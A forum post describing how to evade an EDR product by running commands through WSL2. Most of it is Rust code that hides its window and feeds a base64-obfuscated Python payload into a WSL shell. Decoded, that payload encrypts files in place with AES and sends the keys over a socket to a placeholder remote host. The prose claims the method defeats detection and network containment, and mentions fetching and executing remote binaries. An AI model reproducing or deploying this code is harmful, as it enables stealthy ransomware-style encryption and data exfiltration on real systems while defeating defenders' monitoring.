This might be old news to some of you, but this is a pretty easy way to bypass at least one of the major EDR vendors. It still works as of this moment, and the vendor I’ve tested it with doesn’t seem too inclined to do anything about it.
Essentially, if a target device has WSL2 (any distro) configured, you can use the wslapi.h header to execute commands in WSL that the EDR has no visibility into. E.g., you can run whatever you want with no risk of alerts/detections.
This also bypasses the network containment of the EDR I tested with. Even with the device fully contained and with vendor-recommended policies in place, I was able to pull and execute a remote binary via WSL2, encrypt a directory of files, and exfiltrate data off the machine with no issue.
I’m going to shill my dumb blog post on this (Bypassing EDR constraints via WSL2) because I’m too lazy to write all the details, but I’ll still post some code below showing how this works.
#![windows_subsystem = "windows"]
use wslapi::*;
use whoami;
use winapi::um::wincon::GetConsoleWindow;
use winapi::um::winuser::{ShowWindow, SW_HIDE};
fn main(){
// This window hide method doesn't hide wsl child process
// https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
unsafe{
winapi::um::wincon::FreeConsole();
let window = GetConsoleWindow();
ShowWindow(window, SW_HIDE);
}
let wsl = Library::new().unwrap();
// assert that there is at least 1 wsl install
let nonexistant = "Nonexistant";
assert!(!wsl.is_distribution_registered(nonexistant));
assert!(wsl.get_distribution_configuration(nonexistant).is_err());
// find all distros and filter by name
for distro in registry::distribution_names() {
// Ideally, this just runs on all Ubuntu installs. However, one of mine is borked, so I'm looking specifically for 22.04 lol.
if distro.to_string_lossy().contains("Ubuntu-22.04") {
/*
By redirecting the stdin to the command, we can completely obfuscate the running command from monitoring tools.
Security solutions will only see the passed command line "sh". E.g., wsl.exe Ubuntu-22.04 sh
The stdout and stderr can likely be redirected to file streams or memory streams. Like many things, the docs for wslapi aren't super great.
*/
// let user = whoami::username();
// let doc = "C:\\Users\\{user}\\Documents";
// let stdin = "pwd";
let stdin = "echo aW1wb3J0IHNvY2tldA0KaW1wb3J0IGpzb24NCmltcG9ydCBzdWJwcm9jZXNzDQpmcm9tIENyeXB0byBpbXBvcnQgUmFuZG9tDQpmcm9tIENyeXB0by5DaXBoZXIgaW1wb3J0IEFFUw0KaW1wb3J0IGhhc2hsaWINCmltcG9ydCBvcw0KDQojIHByaW50KG9zLnBhdGguYWJzcGF0aChfX2ZpbGVfXykpDQoNCmRlZiBtX2tleShrZXkpOg0KICAgIGtleSA9IGxpc3Qoa2V5KVswOjMyXQ0KICAgIGtleSA9ICcnLmpvaW4oa2V5KQ0KICAgIHJldHVybiBrZXkNCg0KZGVmIFIobCk6DQogICAgbyA9IHt9DQogICAgaGFzaF9mID0gaGFzaGxpYi5uZXcoInNoYTI1NiIpDQogICAgaWYgbCA9PSAicl93c2xfcC5leGUiOg0KICAgICAgICByZXR1cm4NCiAgICBmaWxlID0gbA0KICAgIHdpdGggb3BlbihmaWxlLCAncmInKSBhcyB0Og0KICAgICAgICB0X2IgPSBiJycNCiAgICAgICAgd2hpbGUgY2h1bmsgOj0gdC5yZWFkKDgxOTIpOg0KICAgICAgICAgICAgaGFzaF9mLnVwZGF0ZShjaHVuaykNCiAgICAgICAgICAgIHRfYiArPSBjaHVuaw0KICAgIGtleSA9IG1fa2V5KGhhc2hfZi5oZXhkaWdlc3QoKSkNCiAgICBjaXBoZXIgPSBBRVMubmV3KGtleS5lbmNvZGUoInV0Zi04IiksIEFFUy5NT0RFX0VBWCkNCiAgICBub25jZSA9IGNpcGhlci5ub25jZQ0KICAgIGN0ID0gY2lwaGVyLmVuY3J5cHQodF9iKQ0KICAgIG9bZmlsZV0gPSBrZXkNCiAgICB3aXRoIG9wZW4oZmlsZSwgJ3diJykgYXMgdDoNCiAgICAgICAgdC53cml0ZShjdCkNCiAgICByZXR1cm4gbw0KDQoNCmRlZiBOKG8pOg0KICAgIGogPSBqc29uLmR1bXBzKG8pDQogICAgcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkNCiAgICBhID0gKCdub3QgdG9kYXknLCAxMzM3KQ0KICAgIHMuY29ubmVjdChhKQ0KICAgIHMuc2VuZChqLmVuY29kZSgndXRmLTgnKSkNCg0KZGVmIG1haW4oKToNCiAgICAgICAgbyA9IHt9DQogICAgICAgIGwgPSBzdWJwcm9jZXNzLnJ1bihbImxzIiwiLWwiXSwgY2FwdHVyZV9vdXRwdXQ9VHJ1ZSkNCiAgICAgICAgbCA9IGwuc3Rkb3V0LmRlY29kZSgidXRmLTgiKS5zcGxpdGxpbmVzKCkNCiAgICAgICAgbC5wb3AoMCkNCiAgICAgICAgZm9yIGZpbGUgaW4gbDoNCiAgICAgICAgICAgIHJ0ID0gUihmaWxlLnNwbGl0KClbOF0pDQogICAgICAgICAgICBpZiBydCAhPSBOb25lOg0KICAgICAgICAgICAgICAgIG8udXBkYXRlKHJ0KQ0KICAgICAgICBOKG8pDQogICAgICAgIGV4aXQNCm1haW4oKQ== | base64 -d | python3";
let stdout = std::fs::File::create("basic.txt").unwrap();
// let stderr = std::fs::File::create("err.txt").unwrap();
// let stdout = "";
let stderr = "";
// This will show a wsl console. Theoretically, this window could be hidden.
wsl.launch(&distro, "sh", true, stdin, stdout, stderr).unwrap().wait().unwrap();
}
}
}
Some caveats to that code:
- You don’t need to output stdout and stderr to files, I just have them for debugging. You can leave them as empty strings and there will be no output at all.
- As stated in the comments, you can set this to run on all distros or specific distros. My device has a wonky install, so I had to use a specific distro.
- This was a testing version, I actually made something better that uses WSL2 to pull the Python script instead of having it static in the code.
- I am not really a developer of any sort, so this is kinda shit code tbh. I also don’t know Rust lol
- The console window that is shown at the end is dependent on your system. I tested this on 2 different devices. The newer one had a brief popup (<1s), the older laptop had a longer popup (<5s). Fairly certain you could hide it altogether, but I didn’t care to find out lol
Running this results in the following events in the EDR:
As you can see, there is nothing indicating the commands being run, or the network communications occurring. Surprisingly, the EDR also did not pick up the file encryption events.
There also doesn’t seem to be any convenient way to monitor this type of activity without installing sensors on the WSL instances themselves, which isn’t supported by many vendors.
This isn’t a new technique or anything, but it’s still kind of interesting. You could theoretically run anything you want in WSL2 and it won’t get caught. Also, I won’t say which vendor I tested with, but I will say they are easily top 5 for EDR.
P.S. I’m stupid, so I hope this markdown works…